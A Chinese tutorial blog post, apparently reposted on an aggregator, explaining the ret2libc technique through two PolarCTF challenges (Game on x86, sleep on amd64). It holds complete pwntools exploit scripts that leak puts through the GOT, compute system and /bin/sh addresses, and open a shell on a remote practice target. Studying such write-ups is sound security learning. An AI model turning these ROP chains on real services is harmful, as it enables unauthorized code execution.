初探 ret2libc

文章目录

    • ret2libc
      • 构建思路
      • x86
      • amd64
        • 第一阶段获取 libc 版本

ret2libc

这次我们又碰到新问题了,假如程序没有 system 函数和 /bin/sh 怎么办?

system,/bin/sh 可以去 libc 里找,libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串。

那么问题来了,如何找到 libc 里的 system 函数和 /bin/sh 字符串呢?

函数的真实地址   =   基地址   +   偏移地址 

libc 库中存放的就是这些函数的偏移地址。只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址。

libc 版本如何确定?

  1. 打本地的话直接 lld file 即可查看。
  2. 每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本(此处需要用到工具LibcSearcher库,https://libc.blukat.me)

好那么好,假设这时候 libc 库的版本确定了,频移地址也就确定了,那么该如何得到基地址呢?

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址  - 函数func的偏移地址

如何找到某个函数func的真实地址呢?

我们可以利用 puts(),write() 这样的函数把某个函数 func 真实地址打印出来,怎么打印?

这就得了解一下 plt 表和 got 表和 Linux的延迟绑定机制了。

Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com)

Basic-ROP (yuque.com)

可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。当第二次执行函数A时,此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用

简单来说就是程序第一次调用某个函数 got 表里放的还不是 这个函数的真实地址,但是第二次调用 got 表放的是 这个函数的真实地址了。

所以

这次运行程序的基地址 = 运行过的某个函数func的真实地址  - 函数func的偏移地址
运行多次的某个函数func的真实地址 = got表中 func 的地址

然后同过打印函数泄露 运行过的某个函数func的真实地址。

构建思路

  1. 找到一个在程序中运行过的函数 func ,构造 payload,劫持打印函数输出 func 在 got 表的真实地址
  2. 根据其最后三位,可以判断出libc库的版本
  3. 根据 libc 库的版本可以很容易的确定 func 函数的偏移地址
  4. 基地址 = func 函数的真实地址 - func 函数的偏移地址。
  5. 根据 libc 库的版本得到 system 函数和 ‘/bin/sh’ 的偏移地址
  6. 基地址 + 偏移地址 计算出其真实地址。
  7. 再次构造 payload ,劫持到执行 system(‘/bin/sh’) 拿到 shell。

下面本地打几道例题

x86

polarctf 的 Game

进入程序我们发现题目要我们输出两次 yes ,然后再输入一次字符,然后程序输出我们打印的字符串。

随机生成 200 个字符串看一下要写多少脏数据

image-20240123123455184

出现了段错误,提示程序跳转到了0x62616164的位置,那么我们只要找到这个0x62616164在cyclic生成的字符串中的哪个位置即可:

cyclic -l 0x62616164

image-20240123124032847

计算缓冲区到返回地址的偏移量为 112

我们可以发现 puts 函数运行过了,所以就用 puts 了,分别拿 puts 的 plt 表和 got 表的对应地址。

puts_plt =  elf.plt['puts']
puts_got =  elf.got['puts']

image-20240123124500805

输出发现其实就是 ida 里的 .plt 和 .got.plt

image-20240123124602600

image-20240123124626424

构造 payload 打印 puts 函数真实地址

padding = 112
star_addr = 0x080485F4
payload = b'a'*padding + p32(puts_plt) + p32(star_addr) + p32(puts_got)

这里执行完返回地址是 star 函数,这样发送 payload2 的时候就不用再敲两次 yes 了。

r = process('./Game')
r.sendlineafter('Do you play game?\n',b'yes')
r.sendlineafter('Do you think playing games will affect your learning?\n',b'yes')
r.sendlineafter('I think the same as you!\n',payload)
r.recvline() #接受一下程序无用的打印值
puts_real_addr = u32(r.recv(4)) # 接收四个字节然后解包

打印一下真实地址

print(hex(puts_real_addr))

image-20240123133552719

拿着后面三位去 LibcSearcher 搜一下 libc 的版本,由于仅仅打本地,那么我们只要找到本地的libc就可以了。用ldd命令。

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_real_addr - libc.symbols['puts'] # 获取基地址
system_addr = libc_base + libc.symbols["system"] # 获取 system 地址 
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # 获取 /bin/sh 地址 ,因为字符串一堆,所以用 next 拿取第一个 /bin/sh

然后就是基本的 payload 构造了

payload2 = b'a'*padding + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

还记得我们第一个 payload 设置执行完 puts 后的返回地址是 star

image-20240123135205921

所以

r.sendlineafter('I think the same as you!\n',payload2)
r.interactive()

拿到 shell

image-20240123135618137

amd64

这次打一下远程靶机,直接上题 polarctf 的 sleep。

先计算偏移量,丢入 200 字节脏数据

image-20240123150053141

看到main函数的返回地址已经被覆盖成了 0x6261616762616166,计算得 120

image-20240123150257113

可以看到 puts 已经用过一次了,所以就用 puts 来输出 puts 的真实地址了。然后得到基址

找 pop rdi ;ret

ROPgadget --binary ./sleep --only "pop|ret"|grep rdi
第一阶段获取 libc 版本
from pwn import *# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6 payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节print(hex(real_addr))

得到真实地址,后三位 6a0

0x7f32c9c876a0

然后去 libcdatabase,找到然后下载下来

libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()

完整代码

from pwn import *# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6 
payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)
real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()

image-20240123171438918

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/427796.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

macOS磁盘管理工具Paragon Hard Disk Manager,轻松且安全的改变磁盘分区

Paragon Hard Disk Manager mac版是Macos上一款磁盘管理工具,可以帮助你轻松而且安全的随意改变磁盘分区的大小和各种分区参数,作为mac磁盘分区工具也是游刃有余,同时在找回数据的时候也非常容易,并且不会损坏原来的数据&#xff…

《统计学习方法:李航》笔记 从原理到实现(基于python)-- 第3章 k邻近邻法

文章目录 第3章 k邻近邻法3.1 k近邻算法3.2 k近邻模型3.2.1 模型3.2.2 距离度量3.2.3 k值的选择3.2.4 分类决策规则 3.3 k近邻法的实现:kd树3.3.1 构造kd树3.3.2 搜索kd树 算法实现课本例3.1iris数据集scikit-learn实例kd树:构造平衡kd树算法例3.2 《统计学习方法&a…

生产力工具|卸载并重装Anaconda3

一、Anaconda3卸载 (一)官方方案一(Uninstall-Anaconda3-不能删除配置文件) 官方推荐的方案是两种,一种是直接在Anaconda的安装路径下,双击: (可以在搜索栏或者使用everything里面搜…

ClickHouse与Doris数据库比较

概述 都说“实践是检验真理的唯一标准”,光说不练假把式,那么本文就通过实际的测试来感受一下Doris和clickhouse在读写方面的性能差距,看看Doris盛名之下,是否真有屠龙之技;clickhouse长锋出鞘,是否敢缚苍…

头条文章采集ChatGPT4.0改写软件环境配置教程步骤

大家好,我是淘小白~ 下面给大家整理一下,ChatGPT4.0改写软件环境配置教程 下面是我们拿到的环境配置软件,分别是:117版本的谷歌浏览器,谷歌浏览器驱动,notepad(用于打开config.ini&#xff0c…

Dify学习笔记-手册(三)

1、应用构建及提示词 在 Dify 中,一个“应用”是指基于 GPT 等大型语言模型构建的实际场景应用。通过创建应用,您可以将智能 AI 技术应用于特定的需求。它既包含了开发 AI 应用的工程范式,也包含了具体的交付物。 简而言之,一个应…

Transformer and Pretrain Language Models3-4

Transformer structure 模型结构 Transformer概述 首先回顾一下之前的RNN的一个端到端的模型,以下是一个典型的两层的LSTM模型,我们可以发现,这样一个RNN模型,一个非常重要的一个缺点就在于,它必须顺序地执行&#x…

【高效开发工具系列】Intellj IDEA 2023.3 版本

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

MyBatis的核心对象、核心配置文件、映射文件中常用元素的处理以及代码演示

学习视频:2001 SqlSessionFactoryBuilder对象_哔哩哔哩_bilibili 目录 1.1为什么学 1.2 MyBatis核心对象 SqlSessionFactoryBuilder 多个重载build()方法 代码 使用单例模式创建SqlSessionFactory对象 SqlSessionFactory SqlSessionFactor…

RocketMQ的一万字全面总结,带你快速入门消息队列

前言 近日偶然聊起消息队列,发现知识模糊又破碎,遂广泛查询资料,做了这么一篇非常浅显的总结,聊以充作入门参考资料吧。 下面几个问题,如果不能回答地很好,可以试着在文中找寻一下答案。(答案…

推荐收藏!40 道数据挖掘面试真题大放送!

文章目录 1、在 PCA 中为什么要做正交变换?2、给定一个数据集,这个数据集有缺失值,且这些缺失值分布在离中值有 1 个标准偏差的范围内。百分之多少的数据不会受到影响?为什么?3、给你一个癌症检测的数据集,…

应用app的服务器如何增加高并发

增强服务器的高并发能力是现代网络应用非常关键的需求。面对用户数量的不断增长和数据量的膨胀,服务器必须能够处理大量并发请求。以下是一些提高服务器高并发能力的常用方法和具体实施细节: 优化服务器和操作系统配置 服务器和操作系统的默认配置不一定…